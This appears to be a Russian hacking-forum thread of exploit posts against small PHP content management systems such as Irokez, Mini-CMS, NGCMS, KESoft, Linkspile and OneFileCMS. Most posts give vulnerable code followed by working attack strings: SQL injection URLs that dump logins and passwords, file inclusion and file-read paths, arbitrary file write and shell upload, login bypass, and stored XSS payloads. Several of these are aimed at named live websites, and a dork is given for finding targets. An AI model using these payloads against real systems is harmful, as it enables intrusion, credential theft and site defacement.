elgg <= 1.5 vuln LFI POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD необходимо, чтоб в табл datalists simplecache_enabled=0 (по дефолту =1 xD) Code: /_css/js.php: 33: $viewinput['view'] = 'js/' . $_GET['js']; 42: require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php'); /simplecache/view.php: 26: $view = $viewinput['view']; 30: if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) { 48: if ($simplecache_enabled || $override) { 49: $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view); 51: $contents = file_get_contents($filename); 56: } else { 59: $contents = elgg_view($view); /lib/elgglib.php: 237: function elgg_view($view, .. 317: foreach($viewlist as $priority => $view) { 321: if (file_exists($view_location . "{$viewtype}/{$view}.php") && ![u]include($view_location . "{$viewtype}/{[b]$view[/b]}.php")[/u]) {
Irokez CMS 0.7.1 SQL inlection Irokez CMS 0.7.1 SQL inlection Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются. Copeц бажной функции: PHP: function select($id) { if (isset($this->_cache[$id])) { $data = $this->_cache[$id]; } else { $data = array(); /* get data */ $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables()); if ($is_trans) { $query = "select t.*, m.* from {$this->_name} m" . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)" . " where m.id = '$id' group by {$this->_lang}"; } else { $query = "select * from {$this->_name} where id = '$id'"; } $result = $this->db->exeQuery($query); $main_fields = $this->db->getFields($this->_name); if ($is_trans) { $trans_fields = $this->db->getFields($this->_name . $this->_trans); $trans_fields = array_flip($trans_fields); } else { $trans_fields = array(); } unset($trans_fields[$this->_item], $trans_fields[$this->_lang]); $trans_fields = array_flip($trans_fields); $data = array(); while ($row = mysql_fetch_assoc($result)) { foreach ($row as $field => $value) { if (in_array($field, $main_fields)) { $data[$field] = $value; } elseif (in_array($field, $trans_fields)) { $data[$field][$row[$this->_lang]] = $value; } } } if (isset($data['id'])) { $this->_cache[$data['id']] = $data; } } return $data; } Условия:magic_quotes_gpc = Off Эксплатация: PHP: http://localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1 PHP: http://localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/ Для защиты данной функции можно использовать функцию mysql_escape_string() Пример защиты: PHP: function select($id) { if (isset($this->_cache[$id])) { $data = $this->_cache[$id]; } else { $data = array(); /* get data */ $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables()); if ($is_trans) { $id = mysql_escape_string($id); $query = "select t.*, m.* from {$this->_name} m" . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)" . " where m.id = '$id' group by {$this->_lang}"; } else { $query = "select * from {$this->_name} where id = '$id'"; } $result = $this->db->exeQuery($query); $main_fields = $this->db->getFields($this->_name); if ($is_trans) { $trans_fields = $this->db->getFields($this->_name . $this->_trans); $trans_fields = array_flip($trans_fields); } else { $trans_fields = array(); } unset($trans_fields[$this->_item], $trans_fields[$this->_lang]); $trans_fields = array_flip($trans_fields); $data = array(); while ($row = mysql_fetch_assoc($result)) { foreach ($row as $field => $value) { if (in_array($field, $main_fields)) { $data[$field] = $value; } elseif (in_array($field, $trans_fields)) { $data[$field][$row[$this->_lang]] = $value; } } } if (isset($data['id'])) { $this->_cache[$data['id']] = $data; } } return $data; } ========================================= Оформленый эксплойт: Code: [+]--------------------------------------------------------------------------------------------------------------------[+] [+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+] [+]--------------------------------------------------------------------------------------------------------------------[+] -[INFO]----------------------------------------------------------------------------------------------------------------[+] [+] Title:Irokez 0.7.1 SQL inlection [+] Autor: Ins3t [+] Date:04.08.2009 [+]--------------------------------------------------------------------------------------------------------------------[+] -[BUG INFO]------------------------------------------------------------------------------------------------------------[+] [+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj. [+] Conditions: magic_quotes_gpc = Off [+] Code vulnerable functions: [+]-------------------------------------------------[COD]---------------------------------------------------------------[+] function select($id) { if (isset($this->_cache[$id])) { $data = $this->_cache[$id]; } else { $data = array(); /* get data */ $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables()); if ($is_trans) { $query = "select t.*, m.* from {$this->_name} m" . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)" . " where m.id = '$id' group by {$this->_lang}"; } else { $query = "select * from {$this->_name} where id = '$id'"; } $result = $this->db->exeQuery($query); $main_fields = $this->db->getFields($this->_name); if ($is_trans) { $trans_fields = $this->db->getFields($this->_name . $this->_trans); $trans_fields = array_flip($trans_fields); } else { $trans_fields = array(); } unset($trans_fields[$this->_item], $trans_fields[$this->_lang]); $trans_fields = array_flip($trans_fields); $data = array(); while ($row = mysql_fetch_assoc($result)) { foreach ($row as $field => $value) { if (in_array($field, $main_fields)) { $data[$field] = $value; } elseif (in_array($field, $trans_fields)) { $data[$field][$row[$this->_lang]] = $value; } } } if (isset($data['id'])) { $this->_cache[$data['id']] = $data; } } return $data; } [+]------------------------------------------------[/COD]--------------------------------------------------------------[+] [+] Exploit: [+]-------------------------------------------------[COD]---------------------------------------------------------------[+] http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1 [+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
Mini-CMS 1.0.1 SQL inlection Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная.. Уязвимый файл: page.php Фрагмент уязвимого кода: PHP: <?php $id = $_GET['id']; database_connect(); $query = "SELECT * from content WHERE id = $id"; $error = mysql_error(); if (!$result = mysql_query($query)) { print "$error"; exit; } while($row = mysql_fetch_object($result)){ $content = $row->text; print("$content"); } ?> Требования: magic_quotes_gpc = Off и полный путь к config.php Эксплатация уязвимости: PHP: http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]/config.txt'--+ Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить ). Оформленый эксплойт: Code: [+]--------------------------------------------------------------------------------------------------------------------[+] [+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+] [+]--------------------------------------------------------------------------------------------------------------------[+] -[INFO]----------------------------------------------------------------------------------------------------------------[+] [+] Title:Mini-CMS 1.0.1 SQL inlection [+] Autor: Ins3t [+] Site: www.arthacking.net [+] Date:08.08.2009 [+]--------------------------------------------------------------------------------------------------------------------[+] -[BUG INFO]------------------------------------------------------------------------------------------------------------[+] [+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the database, and in the config.php file. [+] Conditions: magic_quotes_gpc = Off | full patch of file config.php [+] Code vulnerable functions: [+]-------------------------------------------------[COD]---------------------------------------------------------------[+] <?php $id = $_GET['id']; database_connect(); $query = "SELECT * from content WHERE id = $id"; <------(BUG) $error = mysql_error(); if (!$result = mysql_query($query)) { print "$error"; exit; } while($row = mysql_fetch_object($result)){ $content = $row->text; print("$content"); } ?> [+]------------------------------------------------[/COD]---------------------------------------------------------------[+] [+] Exploit: [+]-------------------------------------------------[COD]---------------------------------------------------------------[+] http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+ [+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
Ngcms XSS Активная (!) Регестрируемся В поле "Сайт" и "Откуда" Code: "><script>alert();</script> При просмотре админом через админ панель ваш профайл, выполняется XSS. PHP: $tvars['vars'] = array( 'php_self' => $PHP_SELF, 'sort_options' => $sort_options, 'how_options' => $how_options, 'npp_nav' => $npp_nav, 'entries' => $entries, 'per_page' => $per_page, 'name' => htmlspecialchars($_REQUEST['name']), ); $tpl -> template('table', tpl_actions.$mod); $tpl -> vars('table', $tvars); echo $tpl -> show('table'); Ещё есть. При добавление новости. В краткое содержание или полное без разницы. Code: [img]javascript:alert('XSS')[/img] PHP: $tvars['vars'] = array( 'php_self' => $PHP_SELF, 'changedate' => ChangeDate($row['postdate']), 'catlist' => makeCategoryList(array('skip' => $cats, 'nameval' => 1)), 'allcats' => @GetAllCategories($cats), 'comments' => $parse->smilies($comments), 'id' => $row['id'], 'title' => secure_html($row['title']), 'short' => secure_html($story[0]), 'full' => secure_html($story[1]), 'alt_name' => $row['alt_name'], 'avatar' => $row['avatar'], 'description' => secure_html($row['description']), 'keywords' => secure_html($row['keywords']), 'views' => $row['views'] ); PS Уязвим везде параметр (c) Ctacok. Специально для Античат.
KESoft: CMS Кеша 1.SQL - inj PHP: #получаем список блоков $z="select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id=$pg)and(bpp.block_id=blocks.id)"; $result=mysql_query($z,$connect); 2. Доступ в админку PHP: $z="select id,status from users where (login='".$_POST["u_login"]."')and(pass=PASSWORD('".$_POST["u_pass"]."'))"; $result=mysql_query($z,$connect); при MQ=off их офф сайт _http://www.kesoft.ru/index.php?pg=20' Ну я как бы просто показал Result: http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5# Чтение файлов http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00 файл:UserPar.php pg_param.php http://www.сайт.ru/ru/blocks/UserPar.php?l=../ http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru ) Инклуд удаленный Даже файл админа в инклуде http://www.kesoft.ru/admin.php?l='%00 условия в посте Grey'a P.S. Там что не файл, то уязвимость) PSS угу
Зачетная cms: Чтение файлов: Файл: blocks/auth.php PHP: <?php $bdata=file($l."blocks/Auth.dat"); $bdata=str_replace("@u_login@",$u,$bdata); $bdata=str_replace("@u_pass@","",$bdata); for ($ii=0; $ii<count($bdata); $ii++) { echo $bdata[$ii]; Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00 Создание произвольного файла: Файл: RU(или ru)/blocks/BlockPar.php PHP: if (count($_POST)>0) { ..................... if ($_POST["Submit"]=="Сохранить изменения текста") { $z="select fname from blocks where id=$par"; $tmpr=mysql_query($z,$connect); $fp = fopen ($l.mysql_result($tmpr,0,"fname"),"w"); fputs($fp,$_POST["BlockData"]); fclose($fp); $m="Содержимое файла блока <font color=green>заменено</font>"; }; Юзаем так: Code: <html> <head><title>pLoEnT na HTML!!!</title></head> <body> <form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post"> <textarea name="BlockData" cols="80" rows="10"></textarea> <input type="submit" name="Submit" value="Сохранить изменения текста"> </form> </body> </html> Ой, а там файлов больше чем я думал, продолжим: Удалённый инклуд: Файл: RU(или ru)/blocks/reg.php PHP: <?php include $l."blocks\\UserPar.php"; ?> Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php? Даже листинг дир в комплект входит: Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи) Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он P.S. Там что не файл, то уязвимость)
Продукт: CMS Mini Версия: <= 0.2.2 Оффсайт: cmsmini.it Скачать: http://sourceforge.net/projects/cmsmini/ Уязвимость №1: Проникновение в админ-панель. Уязвимость существует из-за недостаточной фильтрации данных. Уязвимый код: Code: /admin/check.php PHP: if ($_SESSION['cmsmini_login'] != 1) header('location: login.php'); Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект. Эксплуатация: Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида: Code: HTTP/1.1 302 Found Date: Sat, 22 Aug 2009 19:16:45 GMT Server: Apache/2.2.11 (Win32) PHP/5.2.9-2 X-Powered-By: PHP/5.2.9-2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache location: login.php Transfer-Encoding: chunked Content-Type: text/html Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость. Уязвимость №2: Заливка файла произвольного расширения. Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла. Уязвимый код: Code: /admin/index.php PHP: case 'newimage': $imagefile = $_FILES['imagefile']; if( is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile, $dirpath); else die('image upload failed...'); break; Code: /admin/functions.php PHP: function new_image($imagefile, $dirpath){ $name = $imagefile['name']; $filename = $dirpath.'/'.$name; $dirlist = $dirpath.'/dir.list'; $new_row = $name.'|'.$name.'|0|'; move_uploaded_file($imagefile['tmp_name'], $filename); in_dirlist($dirlist, $new_row); } Эксплуатация: Залить любой файл в поле Image. Уязвимость №3: Читалка файлов. Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path. Уязвимый код: Code: /admin/index.php PHP: $subpath = $_GET['path']; if( $subpath ) $dirpath = '../pages/'.$subpath; ... $dirlist = $dirpath.'/dir.list'; ... $rows = file($dirlist); ... $n = count($rows); ... for( $i=0; $i<$n; $i++ ){ //тут много echo с выводом файла Эксплуатация: Code: /admin/index.php?path=../admin/config.php%00 Уязвимость №4: Активная XSS. Уязвимость существует из-за отсутствия фильтрации входящих данных. Уязвимый код: Code: /admin/index.php PHP: echo $title.'</span>'; Эксплуатация: HTML-код в поле Page/Folder -> create new page / create new folder. Уязвимость №5: "Листинг" директорий. Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий. Code: /folder/dir.list © mailbrush Это не все дырки этой CMS...
1. Читалка файлов admin/edit.php PHP: $filename = $dirpath.'/'.$name; $fh = fopen($filename, 'r'); Эксплуатация cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING При register_globals On 2. Пассивная XSS cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E 3. Создание произвольного файла cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00
Если нету копирайта, значит уязвимость найдена автором сообщения. Хотя это не так. http://tinyurl.com/mykouz
Linkspile SQL Inj: Code: http://www.site.ru/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/* POC: Code: http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
http://www.linkspile.com/user.link.page.php?siteid=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),database(),version()),14,15,16,17,18--&lng=PHP ЗЫ.как бэ добавлю, но вроде все это постить не сюда бы)))так как сорцов нету на руках)))и код выложить не можем
забавный код в файле admin_delete_image.php PHP: /* admin_delete_image.php will delete an image from the server */ Require "passcheck.php"; $image=$_GET["image"]; if (file_exists("../uploads/$image")) { unlink("../uploads/$image"); } header("Location: admin_view_images.php"); exit; ?> имея права админа можно удалить любые файлы!!который имеют соответсвующие права admin/admin_delete_image.php?image=../index.php%00 и у нас стерается наш index.php
weenCompany китайская цмс Сайт: http://www.weentech.com/ Дорк: "Created by weenCompany" SQL-injection Уязвимый код: index.php PHP: . . . if($article = $DB->query_first("SELECT title, metakeywords, metadescription FROM " . TABLE_PREFIX . $_GET['moduleid']. " WHERE articleid = '" . $_GET['articleid'] . "'")) . . . Эксплуатация: Примеры: Вывод в тайтле
TGS Content Management Только нужна рега, а где там регаться я не нашел ( SQL Файл Message.php MQ=off PHP: $id = $_GET['id']; $query = "SELECT * FROM $table_messanger WHERE messanger_id = '".$id."' "; думаю что во всех версиях, в последней есть она Файл user.php PHP: $userid = $_GET['id']; $user_table = $prefix."backend_user"; $usermanager_query = "SELECT * FROM $user_table WHERE user_id = '".$userid."' "; Файл gallery.php PHP: switch($_GET['option']) { case "delete": if (!isset($_GET['iID'])) { // delete gallery and all images $query = "SELECT * FROM `".$table_images."` WHERE `gallery_id` = '".$_GET['gID']."' ";
OneCMS тока я чет не нашел их((( вход в админку PHP: if ($_GET['load'] == "login") { $admin_page = "yes"; if ($_GET['login'] == "yes") { $usernameb = check(stripcslashes($_POST['username'])); $passwordc = check($_POST['password']); $passwordb = md5($passwordc); $sql = mysql_query("SELECT * FROM ".$pre."users WHERE username = '".$usernameb."' AND password = '".$passwordb."' LIMIT 1"); $login_check = mysql_num_rows($sql); login :' or 1=1/* pass :любой
MycroCMS Blind SQL exploit: Code: ?cat_id=2'+and+substring(version(),1,1)=5+--+ _http://www.makesense.ch/mycrocms/?cat_id=2'+and+substring(version(),1,1)=5+--+ PS дыру с entry_id залотали
MixedCMS_10 LFI PHP: $mod = $_REQUEST['mod']; $op = $_REQUEST['op']; $isadmin = $_REQUEST['isadmin']; include "../engine/db.config.php"; include "./mod/".$mod."/".$mod."_admin.php"; http://site.com/modules/mod.php?mod='%00 там есть аплоад Аплодим шелл Файл download_admin.php PHP: include "./mod/download/download_config.php"; ... <td align=\"center\"><a href=\"mod.php?mod=download&op=add&isadmin=1\"><b>Add Download</b></a></td> <td align=\"center\"> <!--<a href=\"mod.php?mod=download\"><b>Download Page</b></a>--></td> ... if (!@copy($url, $gal_path."/".$url)) { disp_error($url." failed to copy"); } unlink($url); ... download_config.php PHP: $gal_path = './mod/download/archieves'; по этому куску кода видно mod.php?mod=download&op=add&isadmin=1\" Add Download значит надо его грузить http://site.com/modules/mod.php?mod=download&op=add&isadmin=1 затем загружаем шелл и получаем его по адресу modules/mod/download/archieves/shell.php PS гуглом и поиском проверил вроде нету такой
OneFileCMS Обход авторизацаии На серваке, в общем /tmp Создаем сесию, например: sess_blablabla Code: onefilecms_valid|s:1:"1"; chmod 777 sess_blablabla Вставляем куку в браузер: Code: PHPSESSID=blabla И используем багу чтобы прочитать пароли: http://host/onefile/onefilecms.php?f=onefilecms.php File upload: http://host/onefile/onefilecms.php?p=upload&i=new/
ShopOS 2.4.2 не знаю как назвать типа PHP: ... $filename = $_GET['f']; ... $fp = fopen($filename, 'w'); fwrite($fp, $content); fclose($fp); http://site/google_sitemap.php?f=index.php в итоге у нас файл index.php примет код PHP: <?xml version='1.0' encoding='UTF-8'?> <urlset xmlns="http://www..com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www..com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd"> <url> <loc>http://127.0.0.1/upload444/index.php?cat=1</loc> <priority>1.0</priority> <lastmod>2010-01-01T01:01:01+03:00</lastmod> <changefreq>weekly</changefreq> </url> .... __http://www.vale4ka.org.ua/google_sitemap.php?f=ir.php __http://www.vale4ka.org.ua/ir.php Code: Parse error: syntax error, unexpected T_STRING in /var/www/ir.php on line 1 в 2.4.3 это файл xml_sitemap.php